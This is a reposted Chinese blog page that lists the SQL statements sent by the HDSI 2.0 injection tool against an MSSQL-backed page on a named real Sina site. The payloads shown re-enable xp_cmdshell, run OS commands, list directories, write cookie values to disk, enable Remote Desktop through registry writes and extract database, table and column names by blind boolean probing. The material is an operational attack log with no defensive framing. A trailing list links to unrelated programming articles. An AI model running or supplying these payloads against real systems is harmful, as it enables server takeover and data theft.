在Hdsi2.0 SQL的註入部分抓包分析語句

来源:http://www.cnblogs.com/aspnetjia/archive/2016/02/16/5194065.html
-Advertisement-
Play Games

在Hdsi2.0 SQL的註入部分抓包分析語句 恢復cmd ;insert tb1 exec master..xp_cmdshell''net user ''-- ;exec master.dbo.sp_addextendedproc ''xp_cmdshell'',''xplog70.dll''-


在Hdsi2.0 SQL的註入部分抓包分析語句

恢復cmd

;insert tb1 exec master..xp_cmdshell''net user ''--

;exec master.dbo.sp_addextendedproc ''xp_cmdshell'',''xplog70.dll''--


執行命令：

sql: ;ipconfig -all--

dos：

;Drop table comd_list ;CREATE TABLE comd_list (ComResult nvarchar(1000)) INSERT comd_list EXEC MASTER..xp_cmdshell 
"ipconfig

-all"--


GET /plaza/event/new/crnt_event_view.asp?event_id=57

And (Select char(94)+Cast(Count(1) as varchar(8000))+char(94) From [comd_list] Where 1=1)>0


列目錄：
c:   jiaozhu 臨時表

;drop table jiaozhu;CREATE TABLE jiaozhu(DirName VARCHAR(100), DirAtt VARCHAR(100),DirFile VARCHAR(100)) INSERT jiaozhu 
EXEC

MASTER..XP_dirtree "c:",1,1--

GET /plaza/event/new/crnt_event_view.asp?event_id=57

And (Select char(94)+Cast(Count(1) as varchar(8000))+char(94) From [jiaozhu] Where 1=1)>0

上傳文件：

本地路徑：C:\Inetpub\wwwroot\cook.txt   保存位置：c：

資料庫存儲過程：

;exec master..xp_cmdshell '' echo

cdb_sid=3UrzOV;%20cdb_cookietime=2592000;%20cdb_auth=VgcCBAJbVQxVAVMCVghTBFJUUQYDBQdTV1BWVQoKAQE6PwNX;%
20cdb_visitedfid=12;%2

0cdb_oldtopics=D8D>c:\''--


資料庫備份：(上傳後刪除臨時表)

;Drop table [xiaopan];create table [dbo].[xiaopan] ([cmd] [text])--

;insert into xiaopan(cmd) values('' echoStr '')--

;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=''c:/'' backup database @a todisk=@s WITH 
DIFFERENTIAL,FORMAT--

;Drop table [xiaopan]--


開啟3389：

;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite

@r,''software\microsoft\windows\currentversion\netcache'',''enable'',''reg_sz'',''0'';-
---

;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite @r,''software\microsoft\windows

nt\currentversion\winlogon'',''shutdownwithoutlogon'',''reg_sz'',''0'';----

;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite

@r,''software\policies\microsoft\windows\installer'',''enableadmintsremote'',''reg_dword'',1;----

;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite @r,''system\currentcontrolset\control
\terminal

servert'',''senabled'',''reg_dword'',1;----

;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite

@r,''system\currentcontrolset\services\termdd'',''start'',''reg_dword'',2;----


;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite

@r,''system\currentcontrolset\services\termservice'',''start'',''reg_dword'',2;----


;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_regwrite ''hkey_users'',''.default\keyboard

layout\toggle'',''hotkey'',''reg_sz'',''1'';----

;declare @r varchar(255) set @r=''hkey_local_machine''exec master..xp_cmdshell ''iisreset /reboot'';----


註入分析：數字型 SQL錯誤提示關閉 開啟 access

使用關鍵字 寶石公園“你玩 我抽”中獎名單公佈

http://igame.sina.com.cn/plaza/event/new/crnt_event_view.asp?event_id=57

多句查詢 支持
子查詢   支持
許可權   public
當前用戶 dbo
當前庫   event

;create table t_jiaozhu(jiaozhu varchar(200))

And 1=1
And 1=2
And (Select Count(1) from SYSObjects)>0
and (select len(user))<32
;declare @a int--
And (IS_SRVROLEMEMBER(''sysadmin''))=1
And (IS_MEMBER(''db_owner''))=1
and (select len(user))<16
and (select len(user))<4
and (select len(user))<2
and (select len(user))<3
and (select len(user))<3
and (select len(user))<4
and (select ascii(substring(user,1,1)))<80
and (select ascii(substring(user,2,1)))<80
and (select ascii(substring(user,3,1)))<80
and (select ascii(substring(user,1,1)))<104
and (select ascii(substring(user,2,1)))<104
and (select ascii(substring(user,3,1)))<104
and (select ascii(substring(user,1,1)))<92
and (select ascii(substring(user,2,1)))<92
and (select ascii(substring(user,3,1)))<116
and (select ascii(substring(user,1,1)))<98
...
...
...

and (select len(db_name()))<16
and (select len(db_name()))<8
and (select len(db_name()))<4
...
...
...

and (select ascii(substring(db_name(),1,1)))<80
and (select ascii(substring(db_name(),2,1)))<80
and (select ascii(substring(db_name(),5,1)))<85


跨庫：

猜解資料庫：

GET

and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <8
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <4
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <6
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <7
...
...
...

and (Select top 1 ascii(substring(name,2,1)) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by 
dbid

desc) <104
and (Select top 1 ascii(substring(name,3,1)) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by 
dbid

desc) <104
...
...
...


and (Select top 1 len(name) from (Select top 4 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <5


master 不是sa許可權，不能跨庫


猜解表名：

EventCategory

GET 
and (Select top 1 unicode(substring(name,2,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char(85)) 
T

order by id desc) < 80

and (Select top 1 unicode(substring(name,11,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char
(85)) T

order by id desc) < 80

and (Select top 1 unicode(substring(name,12,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char
(85)) T

order by id desc) < 80


and (Select top 1 unicode(substring(name,6,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char(85)) 
T

order by id desc) < 80


猜解列名：

GET

and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=''EventCategory'')<32
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=''EventCategory'')<48
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=''EventCategory'')<56
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=''EventCategory'')<60
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=''EventCategory'')<62
and (select top 1 len(name) from ( select top 1 A.id,A.name from EVENT..syscolumns A,EVENT..sysobjects B where 
A.id=B.id and

B.name=''EventCategory'' order by A.name desc) T order by name asc )<35

 轉載自:http://www.aspnetjia.com/Cont-204.html
您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • ios開發中的Swift面向對象
    iOS在現代電腦語言中，面向對象是非常重要的特性，Swift語言也提供了面向對象的支持。而且在Swift語言中，不僅類具有面向對象特性，結構體和枚舉也都具有面向對象特性。 1、Swift中的類和結構體 Swift中的類和結構體定義的語法也是非常相似的。我們可以使用class關鍵詞定義類，下麵我們定
  • iOS鬧鐘實現
    UILocalNotification *notification=[[UILocalNotification alloc] init]; if (notification!=nil) { NSDate *now=[NSDate new]; //notification.fireDate=[now
  • iOS 蘋果開發證書失效的解決方案(Failed to locate or generate matching signing assets)
    從2月14日開始,上傳程式的同學可能會遇到提示上傳失敗的提示. 並且打開自己的鑰匙串,發現所有的證書全部都顯示此證書簽發者無效. 出現以下情況： Failed to locate or generate matching signing assetsXcode attempted to locate
  • android-webview的使用小結
    不知道你有沒有註意，最近的app中越來越多的使用webview了，個人感覺，一方面是因為微信公眾號開發增多的促進，讓很多頁面開發後用到微信上面後，還要唚在公司的app中使用，又加上html5的進一步火熱，可以跨平臺使用，一次開發，可以用在Ios,android客戶端上，這樣，極大的節省了公司的開發成
  • iOS CoreData 開發之數據模型關係
    apple提供了CoreData作為數據存儲的一種手段。本人對其他的第三方不來點，喜歡apple的親兒子，原汁原味，就研究學習這個了。本次帶來CoreData相關數據模型關係操作。
  • 簡述.NET事務應用原則
    .NET事務應用原則 1.在同一個資料庫內進行CRUD時，應使用同一個DbConnection對象，且顯式指定DbConnection均為同一個DbTransaction，示例代碼如下： //在同一個DB中操作一個表時，可以不用顯式指定事務，因為單條SQL命令就是一個最小的事務單元 using (D
  • MySQL Range Optimization
    8.2.1.3 Range Optimization MYSQL的Range Optimization的目的還是儘可能的使用索引 The range access method uses a single index to retrieve a subset of table rows that a
  • SQL Server的優點與缺點
    一般來說索引會加快查詢速度,但會影響插入,修改,刪除的數據,且占用物理空間;所以我們應該合理的創建索引,而且應該先創建聚合索引,再創建非聚合索引.要在經常進行查詢的列上創建索引,而且如果表列較少的話要避免過多創建索引;優點詳細描述:創建索引可以大大提高系統的性能。第一，通過創建唯一性索引，可以保證數
一周排行
    -Advertisement-
    Play Games
  • WPF 已知問題 監聽 WMI 事件導致觸摸失效
    示例項目結構 在 Visual Studio 中創建一個 WinForms 應用程式後，項目結構如下所示： MyWinFormsApp/ │ ├───Properties/ │ └───Settings.settings │ ├───bin/ │ ├───Debug/ │ └───Release/ ...
  • [STAThread]特性
    [STAThread] 特性用於需要與 COM 組件交互的應用程式，尤其是依賴單線程模型（如 Windows Forms 應用程式）的組件。在 STA 模式下，線程擁有自己的消息迴圈，這對於處理用戶界面和某些 COM 組件是必要的。 [STAThread] static void Main(stri ...
  • UWP WinUI3 傳入 AddHandler 的 RoutedEventHandler 類型與事件所需不匹配將拋出參數異常
    在WinForm中使用全局異常捕獲處理 在WinForm應用程式中，全局異常捕獲是確保程式穩定性的關鍵。通過在Program類的Main方法中設置全局異常處理，可以有效地捕獲並處理未預見的異常，從而避免程式崩潰。 註冊全局異常事件 [STAThread] static void Main() { / ...
  • .NET 多版本 WinForm 開源控制項庫 SunnyUI
    前言 給大家推薦一款開源的 Winform 控制項庫，可以幫助我們開發更加美觀、漂亮的 WinForm 界面。 項目介紹 SunnyUI.NET 是一個基於 .NET Framework 4.0+、.NET 6、.NET 7 和 .NET 8 的 WinForm 開源控制項庫，同時也提供了工具類庫、擴展 ...
  • .net core8 使用Swagger（附當前源碼）
    說明 該文章是屬於OverallAuth2.0系列文章，每周更新一篇該系列文章（從0到1完成系統開發）。 該系統文章，我會儘量說的非常詳細，做到不管新手、老手都能看懂。 說明：OverallAuth2.0 是一個簡單、易懂、功能強大的許可權+可視化流程管理系統。 有興趣的朋友，請關註我吧(*^▽^*) ...
  • WPF 什麼時候 VisualTreeHelper.GetDescendantBounds 將返回無窮大
    一、下載安裝 1.下載git 必須先下載並安裝git，再TortoiseGit下載安裝 git安裝參考教程：https://blog.csdn.net/mukes/article/details/115693833 2.TortoiseGit下載與安裝 TortoiseGit，Git客戶端，32/6 ...
  • C# 開源教程帶你輕鬆掌握數據結構與演算法
    前言 在項目開發過程中，理解數據結構和演算法如同掌握蓋房子的秘訣。演算法不僅能幫助我們編寫高效、優質的代碼，還能解決項目中遇到的各種難題。 給大家推薦一個支持C#的開源免費、新手友好的數據結構與演算法入門教程：Hello演算法。 項目介紹 《Hello Algo》是一本開源免費、新手友好的數據結構與演算法入門 ...
  • 第22篇 生成proto文件bat腳本
    1.生成單個Proto.bat內容 @rem Copyright 2016, Google Inc. @rem All rights reserved. @rem @rem Redistribution and use in source and binary forms, with or with ...
  • 記一次 .NET某上位機視覺程式 卡死分析
    一：背景 1. 講故事 前段時間有位朋友找到我，說他的窗體程式在客戶這邊出現了卡死，讓我幫忙看下怎麼回事？dump也生成了，既然有dump了那就上 windbg 分析吧。 二：WinDbg 分析 1. 為什麼會卡死 窗體程式的卡死，入口門檻很低，後續往下分析就不一定了，不管怎麼說先用 !clrsta ...
  • 醫學DICOM文件與PACS系統進行數據傳輸
    前言 人工智慧時代，人臉識別技術已成為安全驗證、身份識別和用戶交互的關鍵工具。 給大家推薦一款.NET 開源提供了強大的人臉識別 API，工具不僅易於集成，還具備高效處理能力。 本文將介紹一款如何利用這些API，為我們的項目添加智能識別的亮點。 項目介紹 GitHub 上擁有 1.2k 星標的 C# ...
所有分類